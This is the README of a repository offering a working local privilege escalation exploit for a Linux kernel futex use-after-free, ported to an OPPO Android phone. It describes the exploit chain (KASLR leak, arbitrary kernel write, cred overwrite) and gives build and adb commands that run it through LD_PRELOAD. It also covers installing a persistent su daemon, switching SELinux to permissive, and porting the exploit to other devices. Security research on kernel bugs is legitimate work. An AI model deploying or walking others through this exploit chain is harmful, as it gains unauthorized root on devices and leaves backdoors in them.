
CVE-2026-43499 GhostLock futex UAF LPE PoC for OPPO PCKM00 (SM6150) / Linux 4.14.180
CVE-2026-43499 (GhostLock) — Linux kernel futex priority-inheritance
use-after-free local privilege escalation PoC, ported to the OPPO PCKM00
(OP4A57, SM6150, Android 11, kernel 4.14.180-perf+).
DISCLAIMER / 免责声明 This project is for authorized security research and educational purposes only. Do not use it on any device you do not own or are not explicitly authorized to test. Running the exploit may crash the kernel. The author assumes no liability for any misuse or damage.
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
CVE-2026-43499 (GhostLock) is a use-after-free in the Linux kernel futex
priority-inheritance code. The bug lives in remove_waiter() being misused in
the proxy-lock rollback path of rt_mutex_start_proxy_lock(). The free'd
rt_mutex_waiter (allocated on the kernel stack) is re-interpreted as an
attacker-controlled fd_set copied in by pselect(), which yields an
arbitrary-write primitive.
Affected range: Linux 4.x–6.x (introduced 2011). 4.14 series fully
affected. See report.md for the full analysis and verified symbol offsets.
futex requeue-pi UAF
└─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
└─> arbitrary write (rt_mutex tree ops / sched_setattr)
└─> overwrite ashmem_fops -> configfs bin read/write
└─> pipe_buffer page rewrite (physical RW primitive)
└─> patch current task cred -> root
The PoC runs entirely in userspace via LD_PRELOAD — no device reboot
required (unless the kernel panics).
Porting to other 4.14 devices: copy
exploit/targets/oppo-pckm00/target.hand regenerate the symbol offsets from your kernel image (seeanalysis/).
.
├── report.md # Full vulnerability analysis & verified offsets
├── exploit/
│ ├── Makefile # Build preload.so (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # LD_PRELOAD entry + forced disk logging + su
│ │ ├── main.c # Orchestration (waiter/owner/consumer threads)
│ │ ├── slide.c # KASLR leak (boot_id / nfulnl loggers)
│ │ ├── fops.c # ashmem_fops overwrite + configfs primitive
│ │ ├── pipe.c # pipe_buffer physrw primitive
│ │ ├── root.c # task walk + cred patch + seccomp/selinux
│ │ ├── util.c # kernelsnitch, skb page prep, kernel RW
│ │ ├── su_daemon.c # embedded su server (drop-in)
│ │ ├── su_blob.S # .incbin of su_daemon
│ │ └── wallpaper_blob.S # .incbin of wallpaper payload
│ ├── targets/oppo-pckm00/target.h # 4.14.180 symbol/struct offsets
│ └── assets/wallpaper.webp # embedded wallpaper payload
├── analysis/ # kernel image / kallsyms extraction scripts
└── LICENSE # Apache-2.0 (same as upstream GhostLock)
Requires Android NDK r29 (aarch64-linux-android30-clang).
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# put NDK at /opt/ndk/android-ndk-r29 (linux-x86_64 toolchain)
cd exploit
make wsl
# or directly:
bash ../analysis/build_preload.sh
Output: exploit/preload.so (64-bit aarch64 ELF shared object).
The build also compiles su_daemon.c to a PIE binary and embeds it (plus the
wallpaper) into the .so via the .S blobs.
# binary only (works from a release asset or a local build)
adb push preload.so /data/local/tmp/preload.so
# or with the repo layout
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
The .so is loaded into the sh process via LD_PRELOAD; its constructor
runs the whole exploit chain and reports the result:
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
On success the shell reports:
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
The current process (and its children) is now root. A su daemon is
installed to /apex/com.android.virt/bin/su (falling back to
/data/local/tmp/su) and an embedded wallpaper is applied as a
persistence/verification artifact.
# from a new shell after the run
adb shell su -c 'id'
# or grab a root shell session (interactive su client)
adb shell /data/local/tmp/su
# check SELinux was toggled permissive (if the selinux path was hit)
adb shell getenforce
All pr_* diagnostics are also written to
/sdcard/Download/log_<timestamp>.txt (falling back to
/data/local/tmp/log_<timestamp>.txt), with O_SYNC + fsync() on every
line so logs survive a kernel panic / reboot:
adb pull /sdcard/Download/log_*.txt
# or if /sdcard is not mounted early
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
The log shows every stage (KASLR slide, fops overwrite, pipe physrw, cred
patch) and the final uid_after / ROOT OK line — attach it when reporting
an issue.
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # if SELinux/cred state or the wallpaper was modified
Note: running the exploit may crash the kernel. If
adbdrops, wait for the device to reboot, then pull/sdcard/Download/log_*.txt— the forcedO_SYNC/fsynclogging is exactly what survives the panic.
boot_id/nfulnl logger path
(slide.c) plus an ashmem_fops verification pass (fops.c)..read/.write (no read_iter/write_iter),ashmem_fops has no show_fdinfo,generic_file_splice_read replaces copy_splice_read,selinux_enforcing lives inside struct selinux_state,rt_mutex_waiter / / layouts.IonStack/CVE-2026-43499), Apache-2.0.
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — see LICENSE.
| Field | Value |
|---|
| Device | OPPO PCKM00 / OP4A57 |
| SoC | Qualcomm SM6150 |
| Android | 11 (RKQ1.200903.002) |
| Security patch | 2022-09-05 |
| Kernel | 4.14.180-perf+ (arm64, clang 10.0.7) |
| Build | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
pipe_inode_infocredtask_struct.seccomp) are best-effort; failure to
patch seccomp does not block the cred-overwrite root.